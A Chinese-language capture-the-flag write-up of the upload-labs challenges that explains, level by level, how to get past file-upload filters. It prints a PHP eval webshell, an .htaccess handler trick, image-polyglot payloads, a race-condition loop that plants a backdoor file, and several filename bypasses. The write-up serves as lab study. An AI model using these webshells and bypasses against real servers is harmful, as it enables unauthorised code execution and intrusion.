file-upload 基础

Based on upload-labs (BUUOJ)

Pass-01

本pass在客户端使用js对不合法图片进行检查!

修改JS脚本就可以成功上传。

Pass-02

本pass在服务端对数据包的MIME进行检查!

用Burp Suite拦截,将MIME类型修改为image/jpeg

Pass-03

本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

设置了黑名单,禁止上传特定扩展名的文件。

与PHP相关的扩展名有:php, php3, php4, php5, phtml等。

这里尝试用phtml作为文件扩展名。

文件内容如下:

<?php
    eval($_POST['cmd']);
    phpinfo();
?>

可以正常上传。程序将上传的文件名改为一串数字。

在我自己的站上进行测试,发现服务器不能将phtml正确解析。

因为服务器程序用的是Tengine(Nginx),默认配置文件中限制了文件的扩展名,即只能将扩展名为php(大写的PHP都不行)的文件转发给PHP进行解析处理。

用蚁剑连接在线平台,找到Apache的相关配置文件:

AddHandler application/x-httpd-php .php .php3 .phtml

Pass-04

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

乍一看,吓死人了,一次性禁止这么多种扩展名。但是,防不胜防,这是黑名单的弊端。

由于Web服务器是Apache,所以可以利用.htaccess文件。

.htaccess文件(或者"分布式配置文件")提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

可以利用.htaccess将其他文件作为php文件进行解析。

将jpg文件作为php文件进行解析:

SetHandler application/x-httpd-php jpg

新建一个test.jpg文件,内容为:

<?php
eval($_POST['cmd']);
phpinfo();
?>

先后上传两个文件,最后可以得到phpinfo界面。

Pass-05

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

这次连.htaccess都禁止上传了。

看到列表中有php5,有pHp5,显然还可以有PHp5。猜测处理文件名时没有统一转换大小写。将test.php修改成test.PHp就行了。

Pass-06

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

.htaccess不在里面,但是被禁止上传。

查看源代码:

 if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

没有对文件扩展名去空处理,可以在文件名中“加空绕过”。

用BurpSuite修改文件名:

Pass-07

本pass禁止上传所有可以解析的后缀!

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

与之前的源码进行对比,可以发现少了一句$file_name = deldot($file_name);//删除文件名末尾的点

在Windows环境下,文件扩展名后的点会被删去,而在Linux环境下不会。

我在Windows环境上下载Linux服务器上文件名test.php.的文件,Google Chrome为了标明,将文件名改为test.php_。当然,直接下载test.php_是不行的,因为Linux服务器上没有这个文件。

如果网站搭建在Windows环境下,那么访问http://xxx.xxx/index.php和访问http://xxx.xxx/index.php.的效果是一样的;当然,在Linux系统下没有这样的特性。

当我用BurpSuite修改文件名之后,成功上传了,得到了这个链接:http://84e4bb20-8d4b-41e7-88b2-4ce4994e0839.node3.buuoj.cn/upload/test.php.,扩展名后面有一个点。删去点后,404 Not Found。

因为这个在线平台是在Linux环境下的。能够解析php.应该是精心设置了。

Pass-08

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

对比源码,发现少了这句:$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

仅限Windows环境。

用BurpSuite拦截,在文件名后追加::$DATA

在BUUOJ平台上得到的网址是http://84e4bb20-8d4b-41e7-88b2-4ce4994e0839.node3.buuoj.cn/upload/202003251917141318.php::$data,无法解析。

在Windows环境下得到的网址是http://test.labs/upload-labs/upload/202003260316216708.php::$data,直接访问会出现403 Forbidden,将::$DATA删除即可正常访问。

Pass-09

本pass只允许上传.jpg|.png|.gif后缀的文件!

Last:

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

This:

$img_path = UPLOAD_PATH.'/'.$file_name;

$file_ext是经过各种处理之后得到的名称,而$file_name是只去除了文件名末尾的点之后的到的文件名。如果只是去除文件名末尾的点,那么前面就没关系了嘛,可以构造一个php.扩展名。

用BurpSuite修改文件名为test.php. .

如果两个点连在一起,都会被认定为末尾的点,因此用空格隔开。后面的点和空格都会被过滤掉,只剩下test.php.。在Windows下可以正常解析。

Pass-10

本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!

去除字符应该就是将字符串替换为空,应该可以用双写绕过。

修改文件名为test.pphphp,上传成功。

pphphp这一个字符串中有两处出现了php。如果从前往后匹配过滤,得到的字符串是php;但是如果从后往前匹配过滤,得到的字符串是pph

既然可以正常解析,那么应该是从前往后进行匹配的。

又进行了一个测试:修改文件名为test.phphpp。返回的网址是http://84e4bb20-8d4b-41e7-88b2-4ce4994e0839.node3.buuoj.cn/upload/test.hpp,也就是说,过滤之后的文件名为test.hpp

Pass-11

本pass上传路径可控!

路径可控!现在要对上传路径下手了。

原理是00截断。

在BUUOJ的upload-labs上提交不了,提示上传出错。原因是平台使用了较新版本的PHP(应该是PHP 7.2),而00截断只能用于PHP 5.3以下。但是,我在本地测试依然不行(PHP 5.2),原因是php.ini中需要修改magic_quotes_gpc = Off。满足两个条件才能正常完成本题。

网站程序先检测上传的文件扩展名是否在白名单(jpg|gif|png),然后拼接文件保存的地址。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

上面的$_GET['save_path']是传入的,可控。传入的值为../upload/test.php%00,那么$img_path可以是../upload/test.php%00/9120200326175903.jpg。在%00后面的内容被截断了,只剩下../upload/test.php,这也是希望得到的结果。

Pass-12

本pass上传路径可控!

提示与上面的相同,原理应该也是相同的。

save_pathPOST请求,修改Hex中对应的值为00.

Pass-13

本pass检查图标内容开头2个字节!

上传图片马,配合文件包含。

远程文件包含未开启(allow_url_include = Off),使用相对路径。

  • GIF:

    GIF98A
    <?php
    phpinfo();
    ?>

test.gif

http://be1e7ae6-4646-4118-820a-e20d1f1b7adf.node3.buuoj.cn/include.php?file=./upload/5520200326181454.gif

  • JPG/PNG:

    copy 1.jpg /b + test.php /a test.jpg

Pass-14

本pass使用getimagesize()检查是否为图片文件!

使用copy 1.jpg /b + test.php /a test.jpg,得到的仍是一个合法的图片。

我对这条命令的理解是:以二进制的方式将test.php的内容追加到1.jpg后,生成test.jpg。

Pass-15

本pass使用exif_imagetype()检查是否为图片文件!

需要开启php_exif,步骤同上。

Pass-16

本pass重新渲染了图片!

重新渲染图片导致图片后面追加的内容被删除。

不会

https://xz.aliyun.com/t/2657

Pass-17

需要代码审计!

条件竞争。

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
        $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
        rename($upload_file, $img_path);
        $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}else{
        $msg = '上传出错!';
}

上传文件后,保存到上传目录,然后再检查是否符合要求。如果符合要求,就修改名称;如果不符合要求,就删除文件。上传文件到检测文件之间存在一段时间间隔,利用这段时间疯狂发包,疯狂请求,就可以留下后门文件。

上传的php文件用来写后门文件。

test.php:

<?php
    fputs(fopen("shell.php","w"),"<?php phpinfo(); ?>");
?>

使用BurpSuite重复发包。

编写脚本重复访问:

import requests

while True:
    try:
        requests.get("http://test.labs/upload-labs/upload/test.php")
    except:
        pass

最后可以生成shell.php

Pass-18

需要代码审计!

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

???

Pass-19

本pass的取文件名通过$_POST来获取。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单,没有进行任何的过滤,理论上前面用到的许多绕过操作都可以使用。

  • 大小写绕过
  • ::$DATA
  • 空格绕过
  • 点绕过

但是感觉主要矛盾应该在其他的地方。

在网上查了一下,发现考点是:move_uploaded_file会忽略掉文件末尾的/.

可用的save_nametest.php/.

Pass-20

Pass-20来源于CTF,请审计代码!

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

如果save_name传入的是一个数组,那么后面的操作就可控。

虽然这样写,但背后的原理还没弄清。

总结

常见的绕过方法有:

  1. 修改扩展名
  2. 修改MIME
  3. 空格绕过
  4. .htaccess
  5. 双写
  6. 图片